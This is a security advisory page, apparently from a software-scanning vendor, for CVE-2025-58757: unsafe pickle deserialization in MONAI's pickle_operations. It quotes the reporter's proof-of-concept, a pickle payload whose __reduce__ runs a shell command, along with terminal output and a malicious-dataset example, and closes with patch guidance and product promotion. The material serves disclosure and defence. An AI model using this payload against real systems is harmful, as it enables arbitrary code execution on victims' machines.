CVE-2025-58757 is a high-severity (CVSS 8.8) Deserialization of Untrusted Data vulnerability in monai. A fix is available for monai — see the affected versions and patch details below.
MONAI's unsafe use of Pickle deserialization may lead to RCE
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
- A successful exploit gives an attacker total control of the affected component, not partial access.
Exploitation and automatability from CISA’s SSVC triage for CVE-2025-58757.
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
How urgent is this, really
CVE-2025-58757 plotted by exploitation likelihood (EPSS) against impact (CVSS). The shaded corner — EPSS 50%+ and CVSS 7.0+ — is where this CVE doesn't sit, though severity or exploitability alone can still warrant action.
Where this sits among everything scored
Of 378,567 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Real counts from FIRST.org, not a sample — log-scaled since the landscape is heavily right-skewed.
Real-World Exposure
monaiReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects PyPI packages — download data is not available via public APIs for these ecosystems.
Description
To prevent this report from being deemed inapplicable or out of scope, due to the project's unique nature (for medical applications) and widespread popularity (6k+ stars), it's important to pay attention to some of the project's inherent security issues. (This is because medical professionals may not pay enough attention to security issues when using this project, leading to attacks on services or local machines.)
Summary
The pickle_operations function in monai/data/utils.py automatically handles dictionary key-value pairs ending with a specific suffix and deserializes them using pickle.loads() . This function also lacks any security measures.
When verified using the following proof-of-concept, arbitrary code execution can occur.
#Poc
from monai.data.utils import pickle_operations
import pickle
import subprocess
class MaliciousPayload:
def __reduce__(self):
return (subprocess.call, (['touch', '/tmp/hacker1.txt'],))
malicious_data = pickle.dumps(MaliciousPayload())
attack_data = {
'image': 'normal_image_data',
'label_transforms': malicious_data,
'metadata_transforms': malicious_data
}
result = pickle_operations(attack_data, is_encode=False)
#My /tmp directory contents before running the POC
root@autodl-container-a53c499c18-c5ca272d:~/autodl-tmp/mmm# ls /tmp
autodl.sh.log selenium-managersXRcjF supervisor.sock supervisord.pid
Before running the command, there was no hacker1.txt content in my /tmp directory, but after running the command, the command was executed, indicating that the attack was successful.
#Running Poc
root@autodl-container-a53c499c18-c5ca272d:~/autodl-tmp/mmm# ls /tmp
autodl.sh.log selenium-managersXRcjF supervisor.sock supervisord.pid
root@autodl-container-a53c499c18-c5ca272d:~/autodl-tmp/mmm# python r1.py
root@autodl-container-a53c499c18-c5ca272d:~/autodl-tmp/mmm# ls /tmp
autodl.sh.log hacker1.txt selenium-managersXRcjF supervisor.sock supervisord.pid
The above proof-of-concept is merely a validation of the vulnerability. The attacker creates malicious dataset content.
malicious_data = {
'image': normal_image_tensor,
'label': normal_label_tensor,
'preprocessing_transforms': pickle.dumps(MaliciousPayload()), # Malicious payload
'augmentation_transforms': pickle.dumps(MaliciousPayload()) # Multiple attack points
}
dataset = [malicious_data, ...]
When a user batch-processes data using MONAI's list_data_collate function, the system automatically calls pickle_operations to handle the serialization transformations.
from monai.data import list_data_collate
dataloader = DataLoader(
dataset,
batch_size=4,
collate_fn=list_data_collate # Trigger the vulnerability
)
# Automatically execute malicious code while traversing the data
for batch in dataloader:
# Malicious code is executed in pickle_operations
pass
When a user loads a serialized file from an external, untrusted source, the remote code execution (RCE) is triggered.
Impact
Arbitrary code execution
Repair suggestions
Verify the data source and content before deserializing, or use a safe deserialization method, which should have a similar fix in huggingface's transformer library.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐍PyPI | monai | all versions | 1.5.1pip install --upgrade 'monai==1.5.1' |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for monai, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update monai to 1.5.1 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2025-58757 is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 Security's impact-aware SCA analyses which vulnerable code paths your application actually calls, so a match like CVE-2025-58757 can be triaged on real exposure rather than presence alone.
Tailored to CVE-2025-58757. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is CVE-2025-58757 in your dependencies?
O3 Security finds CVE-2025-58757 across PyPI dependencies, including transitive ones, and its impact-aware SCA ranks findings by whether your code actually calls the vulnerable path.